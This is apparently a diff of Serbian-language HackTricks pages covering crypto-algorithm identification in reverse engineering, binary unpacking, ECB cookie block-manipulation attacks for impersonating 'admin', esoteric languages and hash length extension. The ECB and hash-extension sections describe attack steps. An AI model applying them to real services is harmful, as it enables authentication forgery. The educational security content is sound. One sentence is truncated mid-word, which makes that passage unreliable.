* **XOR faza**: Na kraju, plain-text ili šifrovani tekst se **XOR-uje sa vrednostima koje su prethodno kreirane**. Funkcija za šifrovanje i dešifrovanje je ista. Za to će se izvršiti **ponavljanje kroz kreiranih 256 bajtova** koliko god puta je potrebno. Ovo se obično prepoznaje u dekompiliranom kodu sa **%256 (mod 256)**.
|
||||||
|
|
||||||
|
{% hint style="info" %}
|
||||||
|
**Da biste identifikovali RC4 u disasembliranom/dekompiliranom kodu, možete proveriti da li postoje 2 petlje veličine 0x100 (sa upotrebom ključa) i zatim XOR ulaznih podataka sa 256 vrednosti koje su prethodno kreirane u 2 petlje, verovatno koristeći %256 (mod 256)**
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
### **Faza inicijalizacije/Substitution Box:** (Obratite pažnju na broj 256 koji se koristi kao brojač i kako je 0 upisano na svako mesto od 256 karaktera)
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (377).png>)
|
||||||
|
|
||||||
|
### **Faza mešanja:**
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (378).png>)
|
||||||
|
|
||||||
|
### **XOR faza:**
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (379).png>)
|
||||||
|
|
||||||
|
## **AES (Simetrična Kriptografija)**
|
||||||
|
|
||||||
|
### **Karakteristike**
|
||||||
|
|
||||||
|
* Upotreba **substitution box-ova i lookup tabela**
|
||||||
|
* Moguće je **razlikovati AES zahvaljujući upotrebi specifičnih vrednosti lookup tabela** (konstanti). _Imajte na umu da se **konstanta** može **čuvati** u binarnom **ili kreirati**_ _**dinamički**._
|
||||||
|
* **Ključ za šifrovanje** mora biti **deljiv** sa **16** (obično 32B) i obično se koristi IV od 16B.
|
||||||
|
|
||||||
|
### SBox konstante
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (380).png>)
|
||||||
|
|
||||||
|
## Serpent **(Simetrična Kriptografija)**
|
||||||
|
|
||||||
|
### Karakteristike
|
||||||
|
|
||||||
|
* Retko je pronaći malver koji ga koristi, ali postoje primeri (Ursnif)
|
||||||
|
* Jednostavno je odrediti da li je algoritam Serpent ili ne na osnovu njeg
|
||||||
|
## RSA **(Asimetrična kriptografija)**
|
||||||
|
|
||||||
|
### Karakteristike
|
||||||
|
|
||||||
|
* Kompleksniji od simetričnih algoritama
|
||||||
|
* Nema konstanti! (teško je odrediti prilagođenu implementaciju)
|
||||||
|
* KANAL (kripto analizator) ne može pružiti podatke o RSA jer se oslanja na konstante.
|
||||||
|
|
||||||
|
### Identifikacija pomoću poređenja
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (383).png>)
|
||||||
|
|
||||||
|
* U liniji 11 (levo) se nalazi `+7) >> 3`, što je isto kao u liniji 35 (desno): `+7) / 8`
|
||||||
|
* Linija 12 (levo) proverava da li je `modulus_len < 0x040`, a u liniji 36 (desno) proverava da li je `inputLen+11 > modulusLen`
|
||||||
|
|
||||||
|
## MD5 & SHA (hash)
|
||||||
|
|
||||||
|
### Karakteristike
|
||||||
|
|
||||||
|
* 3 funkcije: Init, Update, Final
|
||||||
|
* Slične inicijalizacijske funkcije
|
||||||
|
|
||||||
|
### Identifikacija
|
||||||
|
|
||||||
|
**Init**
|
||||||
|
|
||||||
|
Možete ih identifikovati proverom konstanti. Imajte na umu da sha\_init ima 1 konstantu koju MD5 nema:
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (385).png>)
|
||||||
|
|
||||||
|
**MD5 Transform**
|
||||||
|
|
||||||
|
Primetite upotrebu više konstanti
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (253) (1) (1) (1).png>)
|
||||||
|
|
||||||
|
## CRC (hash)
|
||||||
|
|
||||||
|
* Manji i efikasniji jer je njegova funkcija pronalaženje slučajnih promena u podacima
|
||||||
|
* Koristi lookup tabele (tako da možete identifikovati konstante)
|
||||||
|
|
||||||
|
### Identifikacija
|
||||||
|
|
||||||
|
Proverite **konstante lookup tabele**:
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (387).png>)
|
||||||
|
|
||||||
|
Algoritam za CRC hash izgleda ovako:
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (386).png>)
|
||||||
|
|
||||||
|
## APLib (Kompresija)
|
||||||
|
|
||||||
|
### Karakteristike
|
||||||
|
|
||||||
|
* Nema prepoznatljivih konstanti
|
||||||
|
* Možete pokušati da napišete algoritam u Pythonu i tražite slične stvari na internetu
|
||||||
|
|
||||||
|
### Identifikacija
|
||||||
|
|
||||||
|
Grafikon je prilično velik:
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (207) (2) (1).png>)
|
||||||
|
|
||||||
|
Proverite **3 poređenja da biste ga prepoznali**:
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (384).png>)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,50 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
# Identifikacija pakovanih binarnih fajlova
|
||||||
|
|
||||||
|
* **Nedostatak stringova**: Često se dešava da pakovani binarni fajlovi nemaju gotovo nijedan string.
|
||||||
|
* Mnogo **neiskorišćenih stringova**: Takođe, kada malver koristi neku vrstu komercijalnog pakera, često se nalazi mnogo stringova bez prekoračenja. Čak i ako ti stringovi postoje, to ne znači da binarni fajl nije pakovan.
|
||||||
|
* Takođe možete koristiti neke alate da biste pokušali da pronađete koji je paker korišćen za pakovanje binarnog fajla:
|
||||||
|
* [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
|
||||||
|
* [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
|
||||||
|
* [Language 2000](http://farrokhi.net/language/)
|
||||||
|
|
||||||
|
# Osnovne preporuke
|
||||||
|
|
||||||
|
* **Počnite** analizirajući pakovani binarni fajl **odozdo u IDA-i i krenite prema gore**. Unpackeri izlaze kada izlazi raspakovani kod, pa je malo verovatno da će unpacker preneti izvršenje na raspakovani kod na početku.
|
||||||
|
* Tražite **JMP-ove** ili **CALL-ove** ka **registrima** ili **regionima** memorije. Takođe tražite **funkcije koje guraju argumente i adresu pravca, a zatim pozivaju `retn`**, jer povratak funkcije u tom slučaju može pozvati adresu koja je upravo stavljena na stek pre poziva.
|
||||||
|
* Stavite **prekidnu tačku** na `VirtualAlloc` jer ovo alocira prostor u memoriji gde program može pisati raspakovani kod. Pokrenite do korisničkog koda ili koristite F8 da biste **dobili vrednost unutar EAX registra** nakon izvršenja funkcije i "**pratite tu adresu u dump-u**". Nikad ne znate da li je to region gde će se sačuvati raspakovani kod.
|
||||||
|
* **`VirtualAlloc`** sa vrednošću "**40**" kao argument znači Read+Write+Execute (ovde će biti kopiran kod koji zahteva izvršavanje).
|
||||||
|
* Dok raspakujete kod, normalno je da pronađete **nekoliko poziva** aritmetičkih operacija i funkcija poput **`memcopy`** ili **`Virtual`**`Alloc`. Ako se nađete u funkciji koja očigledno samo vrši aritmetičke operacije i možda neki `memcopy`, preporuka je da pokušate da **pronađete kraj funkcije** (možda JMP ili poziv nekom registru) **ili** barem **poziv poslednje funkcije** i pokrenete se do nje jer kod nije interesantan.
|
||||||
|
* Dok raspakujete kod, **zabeležite** svaki put kada **promenite region memorije**, jer promena regiona memorije može ukazivati na **početak raspakovnog koda**. Možete lako dump-ovati region memorije koristeći Process Hacker (process --> properties --> memory).
|
||||||
|
* Dok pokušavate da raspakujete kod, dobar način da **znate da li već radite sa raspakovanim kodom** (tako da ga možete samo dump-ovati) je da **proverite stringove binarnog fajla**. Ako u nekom trenutku izvršite skok (možda promena regiona memorije) i primetite da je **dodato mnogo više stringova**, onda možete znati da **radite sa raspakovanim kodom**.\
|
||||||
|
Međutim, ako paket već sadrži mnogo stringova, možete videti koliko stringova sadrži reč "http" i videti da li se taj broj povećava.
|
||||||
|
* Kada dump-ujete izvršni fajl iz regiona memorije, možete popraviti neke zaglavlja koristeći [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
94
crypto-and-stego/electronic-code-book-ecb.md
Normal file
94
crypto-and-stego/electronic-code-book-ecb.md
Normal file
|
@ -0,0 +1,94 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
# ECB
|
||||||
|
|
||||||
|
(ECB) Electronic Code Book - simetrična šema enkripcije koja **zamenjuje svaki blok čistog teksta** blokom šifrovane poruke. To je **najjednostavnija** šema enkripcije. Glavna ideja je da se čisti tekst podeli na **blokove od N bita** (zavisi od veličine bloka ulaznih podataka, algoritma enkripcije) i zatim da se svaki blok čistog teksta enkriptuje (dekriptuje) koristeći samo ključ.
|
||||||
|
|
||||||
|
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
|
||||||
|
|
||||||
|
Korišćenje ECB ima više sigurnosnih implikacija:
|
||||||
|
|
||||||
|
* **Blokovi iz šifrovane poruke mogu biti uklonjeni**
|
||||||
|
* **Blokovi iz šifrovane poruke mogu biti premesteni**
|
||||||
|
|
||||||
|
# Otkrivanje ranjivosti
|
||||||
|
|
||||||
|
Zamislite da se prijavljujete na aplikaciju nekoliko puta i **uvek dobijate isti kolačić**. To je zato što je kolačić aplikacije **`<korisničko_ime>|<lozinka>`**.\
|
||||||
|
Zatim, generišete dva nova korisnika, oba sa **istom dugom lozinkom** i **skoro** **istim** **korisničkim imenom**.\
|
||||||
|
Otkrivate da su **blokovi od 8B** gde je **informacija o oba korisnika** ista **jednaki**. Tada pretpostavljate da se možda koristi **ECB**.
|
||||||
|
|
||||||
|
Kao u sledećem primeru. Primetite kako ova **2 dekodirana kolačića** imaju nekoliko puta blok **`\x23U\xE45K\xCB\x21\xC8`**
|
||||||
|
```
|
||||||
|
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||||
|
|
||||||
|
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||||
|
```
|
||||||
|
Ovo je zato što su **korisničko ime i lozinka tih kolačića sadržavali više puta slovo "a"** (na primer). **Blokovi** koji su **različiti** su blokovi koji su sadržavali **barem 1 različit karakter** (možda razdelnik "|" ili neka neophodna razlika u korisničkom imenu).
|
||||||
|
|
||||||
|
Sada napadač samo treba da otkrije da li je format `<korisničko ime><razdelnik><lozinka>` ili `<lozinka><razdelnik><korisničko ime>`. Da bi to uradio, može jednostavno **generisati nekoliko korisničkih imena** sa **sličnim i dugim korisničkim imenima i lozinkama** dok ne pronađe format i dužinu razdelnika:
|
||||||
|
|
||||||
|
| Dužina korisničkog imena: | Dužina lozinke: | Dužina korisničkog imena+lozinke: | Dužina kolačića (nakon dekodiranja): |
|
||||||
|
| ------------------------ | --------------- | --------------------------------- | ----------------------------------- |
|
||||||
|
| 2 | 2 | 4 | 8 |
|
||||||
|
| 3 | 3 | 6 | 8 |
|
||||||
|
| 3 | 4 | 7 | 8 |
|
||||||
|
| 4 | 4 | 8 | 16 |
|
||||||
|
| 7 | 7 | 14 | 16 |
|
||||||
|
|
||||||
|
# Iskorišćavanje ranjivosti
|
||||||
|
|
||||||
|
## Uklanjanje celih blokova
|
||||||
|
|
||||||
|
Znajući format kolačića (`<korisničko ime>|<lozinka>`), kako biste se predstavili kao korisnik `admin`, kreirajte novog korisnika pod imenom `aaaaaaaaadmin` i dobijte kolačić i dekodirajte ga:
|
||||||
|
```
|
||||||
|
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||||
|
```
|
||||||
|
Možemo videti obrazac `\x23U\xE45K\xCB\x21\xC8` koji je prethodno kreiran sa korisničkim imenom koje je sadržalo samo `a`.\
|
||||||
|
Zatim, možete ukloniti prvi blok od 8B i dobićete validan kolačić za korisničko ime `admin`:
|
||||||
|
```
|
||||||
|
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||||
|
```
|
||||||
|
## Померање блокова
|
||||||
|
|
||||||
|
У многим базама података је исто да претражујете `WHERE username='admin';` или `WHERE username='admin ';` _(Обратите пажњу на додатне размаке)_
|
||||||
|
|
||||||
|
Дакле, још један начин да се представите као корисник `admin` би био:
|
||||||
|
|
||||||
|
* Генеришите корисничко име тако да је `len(<username>) + len(<delimiter) % len(block)`. Са величином блока од `8B` можете генерисати корисничко име под називом: `username `, са разделником `|` делови `<username><delimiter>` ће генерисати 2 блока од 8B.
|
||||||
|
* Затим, генеришите лозинку која ће попунити тачан број блокова који садрже корисничко име које желимо да се представимо и размаке, на пример: `admin `
|
||||||
|
|
||||||
|
Колачић овог корисника ће бити састављен од 3 блока: прва 2 блока су блокови корисничког имена + разделник, а трећи је блок лозинке (која се претвара у корисничко име): `username |admin `
|
||||||
|
|
||||||
|
**Затим, само замените први блок са последњим и представљате се као корисник `admin`: `admin |username`**
|
||||||
|
|
||||||
|
## Референце
|
||||||
|
|
||||||
|
* [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\))
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Научите хаковање AWS-а од нуле до хероја са</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Други начини да подржите HackTricks:
|
||||||
|
|
||||||
|
* Ако желите да видите **вашу компанију рекламирану на HackTricks** или **преузмете HackTricks у PDF формату** Проверите [**ПРЕТПЛАТНЕ ПЛАНОВЕ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Набавите [**званични PEASS & HackTricks сувенир**](https://peass.creator-spring.com)
|
||||||
|
* Откријте [**The PEASS Family**](https://opensea.io/collection/the-peass-family), нашу колекцију ексклузивних [**NFT-ова**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Придружите се** 💬 [**Discord групи**](https://discord.gg/hRep4RUj7f) или [**телеграм групи**](https://t.me/peass) или **пратите** нас на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Поделите своје хакерске трикове слањем PR-ова на** [**HackTricks**](https://github.com/carlospolop/hacktricks) и [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторијуме.
|
||||||
|
|
||||||
|
</details>
|
85
crypto-and-stego/esoteric-languages.md
Normal file
85
crypto-and-stego/esoteric-languages.md
Normal file
|
@ -0,0 +1,85 @@
|
||||||
|
# Ezoterični jezici
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
|
||||||
|
|
||||||
|
Proverite tu wiki da biste pretražili više ezoteričnih jezika
|
||||||
|
|
||||||
|
## Malbolge
|
||||||
|
```
|
||||||
|
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
|
||||||
|
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
|
||||||
|
```
|
||||||
|
[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
|
||||||
|
|
||||||
|
## npiet
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (146).png>)
|
||||||
|
|
||||||
|
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
|
||||||
|
|
||||||
|
## Rockstar
|
||||||
|
```
|
||||||
|
Midnight takes your heart and your soul
|
||||||
|
While your heart is as high as your soul
|
||||||
|
Put your heart without your soul into your heart
|
||||||
|
|
||||||
|
Give back your heart
|
||||||
|
|
||||||
|
|
||||||
|
Desire is a lovestruck ladykiller
|
||||||
|
My world is nothing
|
||||||
|
Fire is ice
|
||||||
|
Hate is water
|
||||||
|
Until my world is Desire,
|
||||||
|
Build my world up
|
||||||
|
If Midnight taking my world, Fire is nothing and Midnight taking my world, Hate is nothing
|
||||||
|
Shout "FizzBuzz!"
|
||||||
|
Take it to the top
|
||||||
|
|
||||||
|
If Midnight taking my world, Fire is nothing
|
||||||
|
Shout "Fizz!"
|
||||||
|
Take it to the top
|
||||||
|
|
||||||
|
If Midnight taking my world, Hate is nothing
|
||||||
|
Say "Buzz!"
|
||||||
|
Take it to the top
|
||||||
|
|
||||||
|
Whisper my world
|
||||||
|
```
|
||||||
|
{% embed url="https://codewithrockstar.com/" %}
|
||||||
|
|
||||||
|
## PETOOH
|
||||||
|
|
||||||
|
PETOOH je esoterični jezik programiranja koji koristi samo tri komande: "ko", "kud" i "ku". Ovaj jezik je inspirisan jezikom Pigeonhole, koji je baziran na konceptu "brainfuck" jezika. PETOOH koristi samo dve promenljive, "ko" i "kud", koje se koriste za manipulaciju podacima. Ovaj jezik je poznat po svojoj neobičnoj sintaksi i izazovima koje pruža programerima.
|
||||||
|
```
|
||||||
|
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
|
||||||
|
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
|
||||||
|
KoKoKo Kud-Kudah
|
||||||
|
kOkOkOkO kudah kO kud-Kudah Ko Kukarek kudah
|
||||||
|
KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
|
||||||
|
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
|
||||||
|
Kukarek
|
||||||
|
```
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite vašu **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
|
</details>
|
62
crypto-and-stego/hash-length-extension-attack.md
Normal file
62
crypto-and-stego/hash-length-extension-attack.md
Normal file
|
@ -0,0 +1,62 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
# Rezime napada
|
||||||
|
|
||||||
|
Zamislite server koji **potpisuje** neke **podatke** tako što **dodaje** tajni ključ na neke poznate čiste tekstualne podatke, a zatim hešira te podatke. Ako znate:
|
||||||
|
|
||||||
|
* **Dužinu tajnog ključa** (ovo se takođe može probiti iz datog opsega dužine)
|
||||||
|
* **Čiste tekstualne podatke**
|
||||||
|
* **Algoritam (i da je ranjiv na ovaj napad)**
|
||||||
|
* **Padding je poznat**
|
||||||
|
* Obično se koristi podrazumevani, pa ako su ispunjena i prethodna 3 zahteva, ovo takođe važi
|
||||||
|
* Padding varira u zavisnosti od dužine tajnog ključa+podataka, zbog čega je potrebna dužina tajnog ključa
|
||||||
|
|
||||||
|
Tada je moguće da **napadač** doda **podatke** i **generiše** validan **potpis** za **prethodne podatke + dodate podatke**.
|
||||||
|
|
||||||
|
## Kako?
|
||||||
|
|
||||||
|
Osnovno ranjivi algoritmi generišu hešove tako što prvo **heširaju blok podataka**, a zatim, **iz** prethodno **kreiranog** heša (stanja), **dodaju sledeći blok podataka** i **heširaju ga**.
|
||||||
|
|
||||||
|
Zamislite da je tajni ključ "tajna" i podaci su "podaci", MD5 od "tajnapodaci" je 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||||
|
Ako napadač želi da doda string "dodatak" može:
|
||||||
|
|
||||||
|
* Generisati MD5 od 64 "A"-a
|
||||||
|
* Promeniti stanje prethodno inicijalizovanog heša na 6036708eba0d11f6ef52ad44e8b74d5b
|
||||||
|
* Dodati string "dodatak"
|
||||||
|
* Završiti heširanje i rezultujući heš će biti **validan za "tajna" + "podaci" + "padding" + "dodatak"**
|
||||||
|
|
||||||
|
## **Alat**
|
||||||
|
|
||||||
|
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
Ovaj napad je dobro objašnjen na [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
